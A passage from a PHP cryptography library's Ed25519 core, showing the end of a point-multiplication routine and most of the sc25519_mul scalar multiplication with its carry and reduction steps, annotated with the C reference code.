0, 0, 0, 0, -1, 0, 0, 0, 0, 7, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 ); /** @var array<int, ParagonIE_Sodium_Core_Curve25519_Ge_Cached> $Ai size 8 */ $Ai = array(); # ge_p3_to_cached(&Ai[0], A); $Ai[0] = self::ge_p3_to_cached($A); # ge_p3_dbl(&t, A); $t = self::ge_p3_dbl($A); # ge_p1p1_to_p3(&A2, &t); $A2 = self::ge_p1p1_to_p3($t); for ($i = 1; $i < 8; ++$i) { # ge_add(&t, &A2, &Ai[0]); $t = self::ge_add($A2, $Ai[$i - 1]); # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_p3_to_cached(&Ai[i], &u); $Ai[$i] = self::ge_p3_to_cached($u); } $r = self::ge_p3_0(); for ($i = 252; $i >= 0; --$i) { $t = self::ge_p3_dbl($r); if ($aslide[$i] > 0) { # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_add(&t, &u, &Ai[aslide[i] / 2]); $t = self::ge_add($u, $Ai[(int)($aslide[$i] / 2)]); } elseif ($aslide[$i] < 0) { # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]); $t = self::ge_sub($u, $Ai[(int)(-$aslide[$i] / 2)]); } } # ge_p1p1_to_p3(r, &t); return self::ge_p1p1_to_p3($t); } /** * @param string $a * @param string $b * @return string */ public static function sc25519_mul($a, $b) { // int64_t a0 = 2097151 & load_3(a); // int64_t a1 = 2097151 & (load_4(a + 2) >> 5); // int64_t a2 = 2097151 & (load_3(a + 5) >> 2); // int64_t a3 = 2097151 & (load_4(a + 7) >> 7); // int64_t a4 = 2097151 & (load_4(a + 10) >> 4); // int64_t a5 = 2097151 & (load_3(a + 13) >> 1); // int64_t a6 = 2097151 & (load_4(a + 15) >> 6); // int64_t a7 = 2097151 & (load_3(a + 18) >> 3); // int64_t a8 = 2097151 & load_3(a + 21); // int64_t a9 = 2097151 & (load_4(a + 23) >> 5); // int64_t a10 = 2097151 & (load_3(a + 26) >> 2); // int64_t a11 = (load_4(a + 28) >> 7); $a0 = 2097151 & self::load_3(self::substr($a, 0, 3)); $a1 = 2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5); $a2 = 2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2); $a3 = 2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7); $a4 = 2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4); $a5 = 2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1); $a6 = 2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6); $a7 = 2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3); $a8 = 2097151 & self::load_3(self::substr($a, 21, 3)); $a9 = 2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5); $a10 = 2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2); $a11 = (self::load_4(self::substr($a, 28, 4)) >> 7); // int64_t b0 = 2097151 & load_3(b); // int64_t b1 = 2097151 & (load_4(b + 2) >> 5); // int64_t b2 = 2097151 & (load_3(b + 5) >> 2); // int64_t b3 = 2097151 & (load_4(b + 7) >> 7); // int64_t b4 = 2097151 & (load_4(b + 10) >> 4); // int64_t b5 = 2097151 & (load_3(b + 13) >> 1); // int64_t b6 = 2097151 & (load_4(b + 15) >> 6); // int64_t b7 = 2097151 & (load_3(b + 18) >> 3); // int64_t b8 = 2097151 & load_3(b + 21); // int64_t b9 = 2097151 & (load_4(b + 23) >> 5); // int64_t b10 = 2097151 & (load_3(b + 26) >> 2); // int64_t b11 = (load_4(b + 28) >> 7); $b0 = 2097151 & self::load_3(self::substr($b, 0, 3)); $b1 = 2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5); $b2 = 2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2); $b3 = 2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7); $b4 = 2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4); $b5 = 2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1); $b6 = 2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6); $b7 = 2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3); $b8 = 2097151 & self::load_3(self::substr($b, 21, 3)); $b9 = 2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5); $b10 = 2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2); $b11 = (self::load_4(self::substr($b, 28, 4)) >> 7); // s0 = a0 * b0; // s1 = a0 * b1 + a1 * b0; // s2 = a0 * b2 + a1 * b1 + a2 * b0; // s3 = a0 * b3 + a1 * b2 + a2 * b1 + a3 * b0; // s4 = a0 * b4 + a1 * b3 + a2 * b2 + a3 * b1 + a4 * b0; // s5 = a0 * b5 + a1 * b4 + a2 * b3 + a3 * b2 + a4 * b1 + a5 * b0; // s6 = a0 * b6 + a1 * b5 + a2 * b4 + a3 * b3 + a4 * b2 + a5 * b1 + a6 * b0; // s7 = a0 * b7 + a1 * b6 + a2 * b5 + a3 * b4 + a4 * b3 + a5 * b2 + // a6 * b1 + a7 * b0; // s8 = a0 * b8 + a1 * b7 + a2 * b6 + a3 * b5 + a4 * b4 + a5 * b3 + // a6 * b2 + a7 * b1 + a8 * b0; // s9 = a0 * b9 + a1 * b8 + a2 * b7 + a3 * b6 + a4 * b5 + a5 * b4 + // a6 * b3 + a7 * b2 + a8 * b1 + a9 * b0; // s10 = a0 * b10 + a1 * b9 + a2 * b8 + a3 * b7 + a4 * b6 + a5 * b5 + // a6 * b4 + a7 * b3 + a8 * b2 + a9 * b1 + a10 * b0; // s11 = a0 * b11 + a1 * b10 + a2 * b9 + a3 * b8 + a4 * b7 + a5 * b6 + // a6 * b5 + a7 * b4 + a8 * b3 + a9 * b2 + a10 * b1 + a11 * b0; // s12 = a1 * b11 + a2 * b10 + a3 * b9 + a4 * b8 + a5 * b7 + a6 * b6 + // a7 * b5 + a8 * b4 + a9 * b3 + a10 * b2 + a11 * b1; // s13 = a2 * b11 + a3 * b10 + a4 * b9 + a5 * b8 + a6 * b7 + a7 * b6 + // a8 * b5 + a9 * b4 + a10 * b3 + a11 * b2; // s14 = a3 * b11 + a4 * b10 + a5 * b9 + a6 * b8 + a7 * b7 + a8 * b6 + // a9 * b5 + a10 * b4 + a11 * b3; // s15 = a4 * b11 + a5 * b10 + a6 * b9 + a7 * b8 + a8 * b7 + a9 * b6 + // a10 * b5 + a11 * b4; // s16 = // a5 * b11 + a6 * b10 + a7 * b9 + a8 * b8 + a9 * b7 + a10 * b6 + a11 * b5; // s17 = a6 * b11 + a7 * b10 + a8 * b9 + a9 * b8 + a10 * b7 + a11 * b6; // s18 = a7 * b11 + a8 * b10 + a9 * b9 + a10 * b8 + a11 * b7; // s19 = a8 * b11 + a9 * b10 + a10 * b9 + a11 * b8; // s20 = a9 * b11 + a10 * b10 + a11 * b9; // s21 = a10 * b11 + a11 * b10; // s22 = a11 * b11; // s23 = 0; $s0 = self::mul($a0, $b0, 22); $s1 = self::mul($a0, $b1, 22) + self::mul($a1, $b0, 22); $s2 = self::mul($a0, $b2, 22) + self::mul($a1, $b1, 22) + self::mul($a2, $b0, 22); $s3 = self::mul($a0, $b3, 22) + self::mul($a1, $b2, 22) + self::mul($a2, $b1, 22) + self::mul($a3, $b0, 22); $s4 = self::mul($a0, $b4, 22) + self::mul($a1, $b3, 22) + self::mul($a2, $b2, 22) + self::mul($a3, $b1, 22) + self::mul($a4, $b0, 22); $s5 = self::mul($a0, $b5, 22) + self::mul($a1, $b4, 22) + self::mul($a2, $b3, 22) + self::mul($a3, $b2, 22) + self::mul($a4, $b1, 22) + self::mul($a5, $b0, 22); $s6 = self::mul($a0, $b6, 22) + self::mul($a1, $b5, 22) + self::mul($a2, $b4, 22) + self::mul($a3, $b3, 22) + self::mul($a4, $b2, 22) + self::mul($a5, $b1, 22) + self::mul($a6, $b0, 22); $s7 = self::mul($a0, $b7, 22) + self::mul($a1, $b6, 22) + self::mul($a2, $b5, 22) + self::mul($a3, $b4, 22) + self::mul($a4, $b3, 22) + self::mul($a5, $b2, 22) + self::mul($a6, $b1, 22) + self::mul($a7, $b0, 22); $s8 = self::mul($a0, $b8, 22) + self::mul($a1, $b7, 22) + self::mul($a2, $b6, 22) + self::mul($a3, $b5, 22) + self::mul($a4, $b4, 22) + self::mul($a5, $b3, 22) + self::mul($a6, $b2, 22) + self::mul($a7, $b1, 22) + self::mul($a8, $b0, 22); $s9 = self::mul($a0, $b9, 22) + self::mul($a1, $b8, 22) + self::mul($a2, $b7, 22) + self::mul($a3, $b6, 22) + self::mul($a4, $b5, 22) + self::mul($a5, $b4, 22) + self::mul($a6, $b3, 22) + self::mul($a7, $b2, 22) + self::mul($a8, $b1, 22) + self::mul($a9, $b0, 22); $s10 = self::mul($a0, $b10, 22) + self::mul($a1, $b9, 22) + self::mul($a2, $b8, 22) + self::mul($a3, $b7, 22) + self::mul($a4, $b6, 22) + self::mul($a5, $b5, 22) + self::mul($a6, $b4, 22) + self::mul($a7, $b3, 22) + self::mul($a8, $b2, 22) + self::mul($a9, $b1, 22) + self::mul($a10, $b0, 22); $s11 = self::mul($a0, $b11, 22) + self::mul($a1, $b10, 22) + self::mul($a2, $b9, 22) + self::mul($a3, $b8, 22) + self::mul($a4, $b7, 22) + self::mul($a5, $b6, 22) + self::mul($a6, $b5, 22) + self::mul($a7, $b4, 22) + self::mul($a8, $b3, 22) + self::mul($a9, $b2, 22) + self::mul($a10, $b1, 22) + self::mul($a11, $b0, 22); $s12 = self::mul($a1, $b11, 22) + self::mul($a2, $b10, 22) + self::mul($a3, $b9, 22) + self::mul($a4, $b8, 22) + self::mul($a5, $b7, 22) + self::mul($a6, $b6, 22) + self::mul($a7, $b5, 22) + self::mul($a8, $b4, 22) + self::mul($a9, $b3, 22) + self::mul($a10, $b2, 22) + self::mul($a11, $b1, 22); $s13 = self::mul($a2, $b11, 22) + self::mul($a3, $b10, 22) + self::mul($a4, $b9, 22) + self::mul($a5, $b8, 22) + self::mul($a6, $b7, 22) + self::mul($a7, $b6, 22) + self::mul($a8, $b5, 22) + self::mul($a9, $b4, 22) + self::mul($a10, $b3, 22) + self::mul($a11, $b2, 22); $s14 = self::mul($a3, $b11, 22) + self::mul($a4, $b10, 22) + self::mul($a5, $b9, 22) + self::mul($a6, $b8, 22) + self::mul($a7, $b7, 22) + self::mul($a8, $b6, 22) + self::mul($a9, $b5, 22) + self::mul($a10, $b4, 22) + self::mul($a11, $b3, 22); $s15 = self::mul($a4, $b11, 22) + self::mul($a5, $b10, 22) + self::mul($a6, $b9, 22) + self::mul($a7, $b8, 22) + self::mul($a8, $b7, 22) + self::mul($a9, $b6, 22) + self::mul($a10, $b5, 22) + self::mul($a11, $b4, 22); $s16 = self::mul($a5, $b11, 22) + self::mul($a6, $b10, 22) + self::mul($a7, $b9, 22) + self::mul($a8, $b8, 22) + self::mul($a9, $b7, 22) + self::mul($a10, $b6, 22) + self::mul($a11, $b5, 22); $s17 = self::mul($a6, $b11, 22) + self::mul($a7, $b10, 22) + self::mul($a8, $b9, 22) + self::mul($a9, $b8, 22) + self::mul($a10, $b7, 22) + self::mul($a11, $b6, 22); $s18 = self::mul($a7, $b11, 22) + self::mul($a8, $b10, 22) + self::mul($a9, $b9, 22) + self::mul($a10, $b8, 22) + self::mul($a11, $b7, 22); $s19 = self::mul($a8, $b11, 22) + self::mul($a9, $b10, 22) + self::mul($a10, $b9, 22) + self::mul($a11, $b8, 22); $s20 = self::mul($a9, $b11, 22) + self::mul($a10, $b10, 22) + self::mul($a11, $b9, 22); $s21 = self::mul($a10, $b11, 22) + self::mul($a11, $b10, 22); $s22 = self::mul($a11, $b11, 22); $s23 = 0; // carry0 = (s0 + (int64_t) (1L << 20)) >> 21; // s1 += carry0; // s0 -= carry0 * ((uint64_t) 1L << 21); $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; // carry2 = (s2 + (int64_t) (1L << 20)) >> 21; // s3 += carry2; // s2 -= carry2 * ((uint64_t) 1L << 21); $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; // carry4 = (s4 + (int64_t) (1L << 20)) >> 21; // s5 += carry4; // s4 -= carry4 * ((uint64_t) 1L << 21); $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; // carry6 = (s6 + (int64_t) (1L << 20)) >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry8 = (s8 + (int64_t) (1L << 20)) >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry10 = (s10 + (int64_t) (1L << 20)) >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; // carry12 = (s12 + (int64_t) (1L << 20)) >> 21; // s13 += carry12; // s12 -= carry12 * ((uint64_t) 1L << 21); $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; // carry14 = (s14 + (int64_t) (1L << 20)) >> 21; // s15 += carry14; // s14 -= carry14 * ((uint64_t) 1L << 21); $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; // carry16 = (s16 + (int64_t) (1L << 20)) >> 21; // s17 += carry16; // s16 -= carry16 * ((uint64_t) 1L << 21); $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; // carry18 = (s18 + (int64_t) (1L << 20)) >> 21; // s19 += carry18; // s18 -= carry18 * ((uint64_t) 1L << 21); $carry18 = ($s18 + (1 << 20)) >> 21; $s19 += $carry18; $s18 -= $carry18 << 21; // carry20 = (s20 + (int64_t) (1L << 20)) >> 21; // s21 += carry20; // s20 -= carry20 * ((uint64_t) 1L << 21); $carry20 = ($s20 + (1 << 20)) >> 21; $s21 += $carry20; $s20 -= $carry20 << 21; // carry22 = (s22 + (int64_t) (1L << 20)) >> 21; // s23 += carry22; // s22 -= carry22 * ((uint64_t) 1L << 21); $carry22 = ($s22 + (1 << 20)) >> 21; $s23 += $carry22; $s22 -= $carry22 << 21; // carry1 = (s1 + (int64_t) (1L << 20)) >> 21; // s2 += carry1; // s1 -= carry1 * ((uint64_t) 1L << 21); $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; // carry3 = (s3 + (int64_t) (1L << 20)) >> 21; // s4 += carry3; // s3 -= carry3 * ((uint64_t) 1L << 21); $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; // carry5 = (s5 + (int64_t) (1L << 20)) >> 21; // s6 += carry5; // s5 -= carry5 * ((uint64_t) 1L << 21); $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; // carry7 = (s7 + (int64_t) (1L << 20)) >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry9 = (s9 + (int64_t) (1L << 20)) >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry11 = (s11 + (int64_t) (1L << 20)) >> 21; // s12 += carry11; // s11 -= carry11 * ((uint64_t) 1L << 21); $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; // carry13 = (s13 + (int64_t) (1L << 20)) >> 21; // s14 += carry13; // s13 -= carry13 * ((uint64_t) 1L << 21); $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; // carry15 = (s15 + (int64_t) (1L << 20)) >> 21; // s16 += carry15; // s15 -= carry15 * ((uint64_t) 1L << 21); $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; // carry17 = (s17 + (int64_t) (1L << 20)) >> 21; // s18 += carry17; // s17 -= carry17 * ((uint64_t) 1L << 21); $carry17 = ($s17 + (1 << 20)) >> 21; $s18 += $carry17; $s17 -= $carry17 << 21; // carry19 = (s19 + (int64_t) (1L << 20)) >> 21; // s20 += carry19; // s19 -= carry19 * ((uint64_t) 1L << 21); $carry19 = ($s19 + (1 << 20)) >> 21; $s20 += $carry19; $s19 -= $carry19 << 21; // carry21 = (s21 + (int64_t) (1L << 20)) >> 21; // s22 += carry21; // s21 -= carry21 * ((uint64_t) 1L << 21); $carry21 = ($s21 + (1 << 20)) >> 21; $s22 += $carry21; $s21 -= $carry21 << 21; // s11 += s23 * 666643; // s12 += s23 * 470296; // s13 += s23 * 654183; // s14 -= s23 * 997805; // s15 += s23 * 136657; // s16 -= s23 * 683901; $s11 += self::mul($s23, 666643, 20); $s12 += self::mul($s23, 470296, 19); $s13 += self::mul($s23, 654183, 20); $s14 -= self::mul($s23, 997805, 20); $s15 += self::mul($s23, 136657, 18); $s16 -= self::mul($s23, 683901, 20); // s10 += s22 * 666643; // s11 += s22 * 470296; // s12 += s22 * 654183; // s13 -= s22 * 997805; // s14 += s22 * 136657; // s15 -= s22 * 683901; $s10 += self::mul($s22, 666643, 20); $s11 += self::mul($s22, 470296, 19); $s12 += self::mul($s22, 654183, 20); $s13 -= self::mul($s22, 997805, 20); $s14 += self::mul($s22, 136657, 18); $s15 -= self::mul($s22, 683901, 20); // s9 += s21 * 666643; // s10 += s21 * 470296; // s11 += s21 * 654183; // s12 -= s21 * 997805; // s13 += s21 * 136657; // s14 -= s21 * 683901; $s9 += self::mul($s21, 666643, 20); $s10 += self::mul($s21, 470296, 19); $s11 += self::mul($s21, 654183, 20); $s12 -= self::mul($s21, 997805, 20); $s13 += self::mul($s21, 136657, 18); $s14 -= self::mul($s21, 683901, 20); // s8 += s20 * 666643; // s9 += s20 * 470296; // s10 += s20 * 654183; // s11 -= s20 * 997805; // s12 += s20 * 136657; // s13 -= s20 * 683901; $s8 += self::mul($s20, 666643, 20); $s9 += self::mul($s20, 470296, 19); $s10 += self::mul($s20, 654183, 20); $s11 -= self::mul($s20, 997805, 20); $s12 += self::mul($s20, 136657, 18); $s13 -= self::mul($s20, 683901, 20); // s7 += s19 * 666643; // s8 += s19 * 470296; // s9 += s19 * 654183; // s10 -= s19 * 997805; // s11 += s19 * 136657; // s12 -= s19 * 683901; $s7 += self::mul($s19, 666643, 20); $s8 += self::mul($s19, 470296, 19); $s9 += self::mul($s19, 654183, 20); $s10 -= self::mul($s19, 997805, 20); $s11 += self::mul($s19, 136657, 18); $s12 -= self::mul($s19, 683901, 20); // s6 += s18 * 666643; // s7 += s18 * 470296; // s8 += s18 * 654183; // s9 -= s18 * 997805; // s10 += s18 * 136657; // s11 -= s18 * 683901; $s6 += self::mul($s18, 666643, 20); $s7 += self::mul($s18, 470296, 19); $s8 += self::mul($s18, 654183, 20); $s9 -= self::mul($s18, 997805, 20); $s10 += self::mul($s18, 136657, 18); $s11 -= self::mul($s18, 683901, 20); // carry6 = (s6 + (int64_t) (1L << 20)) >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry8 = (s8 + (int64_t) (1L << 20)) >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry10 = (s10 + (int64_t) (1L << 20)) >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; // carry12 = (s12 + (int64_t) (1L << 20)) >> 21; // s13 += carry12; // s12 -= carry12 * ((uint64_t) 1L << 21); $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; // carry14 = (s14 + (int64_t) (1L << 20)) >> 21; // s15 += carry14; // s14 -= carry14 * ((uint64_t) 1L << 21); $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; // carry16 = (s16 + (int64_t) (1L << 20)) >> 21; // s17 += carry16; // s16 -= carry16 * ((uint64_t) 1L << 21); $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; // carry7 = (s7 + (int64_t) (1L << 20)) >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry9 = (s9 + (int64_t) (1L << 20)) >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry11 = (s11 + (int64_t) (1L << 20)) >> 21; // s12 += carry11; // s11 -= carry11 * ((uint64_t) 1L << 21); $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; // carry13 = (s13 + (int64_t) (1L << 20)) >> 21; // s14 += carry13; // s13 -= carry13 * ((uint64_t) 1L << 21); $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; // carry15 = (s15 + (int64_t) (1L << 20)) >> 21; // s16 += carry15; // s15 -= carry15 * ((uint64_t) 1L << 21); $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; // s5 += s17 * 666643; // s6 += s17 * 470296; // s7 += s17 * 654183; // s8 -= s17 * 997805; // s9 += s17 * 136657; // s10 -= s17 * 683901; $s5 += self::mul($s17, 666643, 20); $s6 += self::mul($s17, 470296, 19); $s7 += self::mul($s17, 654183, 20); $s8 -= self::mul($s17, 997805, 20); $s9 += self::mul($s17, 136657, 18); $s10 -= self::mul($s17, 683901, 20); // s4 += s16 * 666643; // s5 += s16 * 470296; // s6 += s16 * 654183; // s7 -= s16 * 997805; // s8 += s16 * 136657; // s9 -= s16 * 683901; $s4 += self::mul($s16, 666643, 20); $s5 += self::mul($s16, 470296, 19); $s6 += self::mul($s16, 654183, 20); $s7 -= self::mul($s16, 997805, 20); $s8 += self::mul($s16, 136657, 18); $s9 -= self::mul($s16, 683901, 20); // s3 += s15 * 666643; // s4 += s15 * 470296; // s5 += s15 * 654183; // s6 -= s15 * 997805; // s7 += s15 * 136657; // s8 -= s15 * 683901; $s3 += self::mul($s15, 666643, 20); $s4 += self::mul($s15, 470296, 19); $s5 += self::mul($s15, 654183, 20); $s6 -= self::mul($s15, 997805, 20); $s7 += self::mul($s15, 136657, 18); $s8 -= self::mul($s15, 683901, 20); // s2 += s14 * 666643; // s3 += s14 * 470296; // s4 += s14 * 654183; // s5 -= s14 * 997805; // s6 += s14 * 136657; // s7 -= s14 * 683901; $s2 += self::mul($s14, 666643, 20); $s3 += self::mul($s14, 470296, 19); $s4 += self::mul($s14, 654183, 20); $s5 -= self::mul($s14, 997805, 20); $s6 += self::mul($s14, 136657, 18); $s7 -= self::mul($s14, 683901, 20); // s1 += s13 * 666643; // s2 += s13 * 470296; // s3 += s13 * 654183; // s4 -= s13 * 997805; // s5 += s13 * 136657; // s6 -= s13 * 683901; $s1 += self::mul($s13, 666643, 20); $s2 += self::mul($s13, 470296, 19); $s3 += self::mul($s13, 654183, 20); $s4 -= self::mul($s13, 997805, 20); $s5 += self::mul($s13, 136657, 18); $s6 -= self::mul($s13, 683901, 20); // s0 += s12 * 666643; // s1 += s12 * 470296; // s2 += s12 * 654183; // s3 -= s12 * 997805; // s4 += s12 * 136657; // s5 -= s12 * 683901; // s12 = 0; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; // carry0 = (s0 + (int64_t) (1L << 20)) >> 21; // s1 += carry0; // s0 -= carry0 * ((uint64_t) 1L << 21); $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; // carry2 = (s2 + (int64_t) (1L << 20)) >> 21; // s3 += carry2; // s2 -= carry2 * ((uint64_t) 1L << 21); $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; // carry4 = (s4 + (int64_t) (1L << 20)) >> 21; // s5 += carry4; // s4 -= carry4 * ((uint64_t) 1L << 21); $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; // carry6 = (s6 + (int64_t) (1L << 20)) >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry8 = (s8 + (int64_t) (1L << 20)) >> 21; // s9 += carry8; // s8 -= carry8 * ((uint64_t) 1L << 21); $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; // carry10 = (s10 + (int64_t) (1L << 20)) >> 21; // s11 += carry10; // s10 -= carry10 * ((uint64_t) 1L << 21); $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; // carry1 = (s1 + (int64_t) (1L << 20)) >> 21; // s2 += carry1; // s1 -= carry1 * ((uint64_t) 1L << 21); $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; // carry3 = (s3 + (int64_t) (1L << 20)) >> 21; // s4 += carry3; // s3 -= carry3 * ((uint64_t) 1L << 21); $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; // carry5 = (s5 + (int64_t) (1L << 20)) >> 21; // s6 += carry5; // s5 -= carry5 * ((uint64_t) 1L << 21); $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; // carry7 = (s7 + (int64_t) (1L << 20)) >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry9 = (s9 + (int64_t) (1L << 20)) >> 21; // s10 += carry9; // s9 -= carry9 * ((uint64_t) 1L << 21); $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; // carry11 = (s11 + (int64_t) (1L << 20)) >> 21; // s12 += carry11; // s11 -= carry11 * ((uint64_t) 1L << 21); $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; // s0 += s12 * 666643; // s1 += s12 * 470296; // s2 += s12 * 654183; // s3 -= s12 * 997805; // s4 += s12 * 136657; // s5 -= s12 * 683901; // s12 = 0; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; // carry0 = s0 >> 21; // s1 += carry0; // s0 -= carry0 * ((uint64_t) 1L << 21); $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; // carry1 = s1 >> 21; // s2 += carry1; // s1 -= carry1 * ((uint64_t) 1L << 21); $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; // carry2 = s2 >> 21; // s3 += carry2; // s2 -= carry2 * ((uint64_t) 1L << 21); $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; // carry3 = s3 >> 21; // s4 += carry3; // s3 -= carry3 * ((uint64_t) 1L << 21); $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; // carry4 = s4 >> 21; // s5 += carry4; // s4 -= carry4 * ((uint64_t) 1L << 21); $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; // carry5 = s5 >> 21; // s6 += carry5; // s5 -= carry5 * ((uint64_t) 1L << 21); $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; // carry6 = s6 >> 21; // s7 += carry6; // s6 -= carry6 * ((uint64_t) 1L << 21); $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; // carry7 = s7 >> 21; // s8 += carry7; // s7 -= carry7 * ((uint64_t) 1L << 21); $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; // carry8 = 